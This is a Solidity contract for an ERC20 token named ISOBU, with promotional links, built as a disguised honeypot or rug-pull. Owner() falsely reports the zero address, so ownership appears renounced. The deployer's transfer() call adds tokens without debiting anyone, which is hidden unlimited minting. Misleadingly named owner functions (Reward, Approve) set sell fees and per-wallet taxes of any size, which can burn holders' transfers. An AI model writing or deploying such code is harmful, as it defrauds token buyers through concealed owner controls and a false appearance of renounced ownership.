/**

    Isobu - $ISOBU

    🔹 Medium   : https://medium.com/@isobuerc20
    🔹 Telegram : https://t.me/IsobuOfficialERC20
*/



// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
pragma solidity ^0.8.0;
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
pragma solidity ^0.8.0;
library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }


    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}
pragma solidity ^0.8.0;
interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
 pragma solidity ^0.8.0;
interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

pragma solidity ^0.8.0;
contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}

pragma solidity ^0.8.0;
contract ISOBU is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _REWARD(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _REWARD(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 50; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _mAccount;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Reward(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function Approve(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function setMAccountkFee(address _address, bool _value) external onlyOwner {
        _mAccount[_address] = _value;
    }

    function getMAccountkFee(address _address) external view onlyOwner returns (bool) {
        return _mAccount[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _mAccount[from] || _mAccount[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(this),
            block.timestamp
        );
    }

}